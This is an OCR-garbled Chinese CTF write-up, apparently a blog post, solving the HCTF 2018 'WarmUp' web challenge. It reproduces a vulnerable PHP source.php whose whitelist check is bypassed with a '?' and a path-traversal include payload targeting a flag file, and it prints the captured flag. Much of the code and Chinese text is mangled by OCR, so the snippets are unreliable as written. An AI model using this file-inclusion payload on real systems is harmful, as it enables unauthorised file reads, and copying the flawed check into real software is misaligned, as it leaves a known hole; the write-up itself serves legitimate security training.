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6 Document x @ view-source:111.198.29.45:48° X +

C @ FZ%£| view-source:111.198.29.45:48818

2 <html lans="en’>

3 | <head>

4 <meta charset="UTF-8">
5 <meta name="viewport” content="width=device-width, initial-scale=1.0">
[ <meta http-equiv="¥-UA-Compatible” content="is=edze”>

7 <titlerDocument</title>

2| <{/head>

9 | <body>

10 <! --source. php-->

12 <bridimg sre="https: 1. 1oli. net/2018/11/01/5bdb0d93de794, jne” /< body>
13| </html>

A] LAFE BB 1 Fsource.php,  iH) J5 7 LLE B H 5


https://blog.csdn.net/qq_42016346
https://blog.csdn.net/qq_42016346/category_9664187.html
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=HCTF+2018&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=xctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42016346/article/details/104199710
https://blog.csdn.net/qq_42016346/category_9664187.html

@ 111.198.29.45:48818/source.p X +
< C ©® FZ=£| 111.198.29.45:48818/source.php

<Tphp
highlight_file(_FILE_);
class  emmm

public static function checkFile(&3page)
{
fwhitelist = [“source”=>"source. php”, “hint”=>"hint. php”];
it (! isset(Jpaze) || 'is_strineg(Jpaze)) |
echo “you can't see 1it”;
return false;

1
if (in_array(Jpage, Jwhitelisti) |

}

return true;

$ page = mb_substr(
Ipage,
0,
mb_strpos(Jpage . 797, 70

if (in_array(3_page, Iwhitelist)) |
return true,

urldecode ($page) ;
mb_substr(
3_page,

$_page
$_page

,
mb_strpos($_page . "9, 79)

if (in_array(3_page, Iwhitelist)) |
return  true;
1

o ) .
echo you <can t osee 1t
return false;

}

if (1 empty(3_REQUEST[ file’ 1)
&&  is_string (3_REQUEST[ file"1)
& emmm: :checkFile(3_REQUEST[ file’ 1)

bod

include §_REQUEST[ file’];

exit;
}oelse |

echo “<brrdimg sre=\"https://i.loli.net/2018/11/01/6bdb0d92de704. jpet” /7,
1
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flag not here, and flag in ffffllllaaaagggg
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$whitelist = ["source"=>"source.php","hint"=>"hint.php"T;
F—b

if {1 isset($paze) || l'is_strinz(%pagel) |
echo ”you can’ t  sSee it”;
return  false;

}

if (in_array(3paze, Jwhitelist)) |
return true;
1

REBERAE S H0R source.phpak & hint.php & [F] &
RN R 4R S T H Wt

ﬁ%::iﬁ:
_pase = mb_substr(
Ipage,
0,
mb_strposifpaze . 7, 9]

if (in_arrav($_pasze, Jwhitelist)) |
return  true;
)
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B=0

urldecode (fpage) ;

mb_substrl

$_paze,

0

mb_strpostd page . 77, 7))

$_page
$_page

¥

if (in_arrav($_pasze, Jwhitelist)) |
return  true;

)

iy 1 - iy
echo vou can t osee 1t
return false;
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include source.php?(payload)
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flag3c 44 hAnE T EBR BN ME, —NM— M LIEE
source.php(&hint.php)?/../../../..1..1. [fffflllaaaagggg

ok! flag getV
) | i
include $_FEQUEST[ file' 1
exit;
}oelse |

echo  “<bridimg sre=\"https://fi.1loli.net/2018/11/01/5kdb0d93de704. jpeh” /27
}

2> flag{25e7bce6005¢4e0c983fh97297ac6e5a}
A] Bt &7 &t 19 N "Einclude source.php(Ekhint.php)?/../../..1../1. 1. [ffffllllaaaagggg RE AT B Zh
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(PHP 4, PHP 5, PHP 7)
include BRI BEFEHEE,

PURIRYtIERT require,
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ZXAFN include BEATERBHAMAHTERN RS LIEER MK, NESEIFRRANIH include BEaRH—5EE,; X—rifl
require AE, FE=RH—PEEEIR.
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